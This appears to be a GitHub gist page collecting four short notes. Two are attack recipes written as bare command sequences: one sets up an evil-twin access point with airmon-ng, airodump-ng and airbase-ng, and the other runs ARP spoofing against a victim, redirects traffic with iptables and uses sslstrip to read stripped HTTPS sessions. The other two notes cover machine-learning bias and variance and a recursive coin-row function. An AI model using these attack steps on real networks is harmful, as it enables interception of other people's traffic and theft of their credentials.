This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Environment: NIC with monitor mode capabilities | |
1. Enable monitor mode in NIC | |
- Take down the internet facing interface: ifconfic INTERFACE down | |
- Enable monitor mode: iwconfig INTERFACE mode monitor | |
- Kill all processes that might conflict with aircrack: airmon-ng check INTERFACE, kill PID | |
2. Set up fake Access Point | |
- Retrieve network parameters of WiFI access point: airodump-ng INTERFACE | |
- Create fake Access Point: airbase-ng -a MAC --essid SSID -c CHANNEL INTERFACE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Once conencted to a given LAN, determine the default gateway: route -n | |
2. Scan the network serviced by the gateway: nmap IP_RANGE | |
3. Enable port forwarding: echo “1” > /proc/sys/net/ipv4/ip_forward | |
4. Place your machine in the middle of the communication: arpspoof -i INTERFACE -t VICTIM_IP GATEWAY_IP | |
5. Modify the firewall to redirect inbound HTTP traffic to SSL strip listenign port: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT –to-port 1000 | |
6. Begin stripping SSL from HTTPS communication: sslstrip -l 1000 | |
7. Follow clear text packets: tail -f sslstrip.log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The prediction error of a ML algorithm depends on 2 main factors: | |
- Bias error | |
-> aim to keep low | |
-> simplifying assumptions made by a model: underfitting | |
-> can be reduced by decreasing regularization and adding features | |
-> parametric algorithms have hight bias | |
-> non-parametric algorithms have low bias algorithms | |
- Variance error | |
-> aim to keep low |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Coin Row problem: | |
- C_1 - C_n coins in a row | |
- Choose combination that maximizes $ | |
- Can't choose 2 consecutive coins | |
function optChoice(coinIndex, coinRow){ | |
if (coinIndex < 0) return 0 | |
return Math.max((coinRow[coinIndex] + optChoice(coinIndex-2,coinRow)), optChoice(coinIndex-1,coinRow)) | |
} |
NewerOlder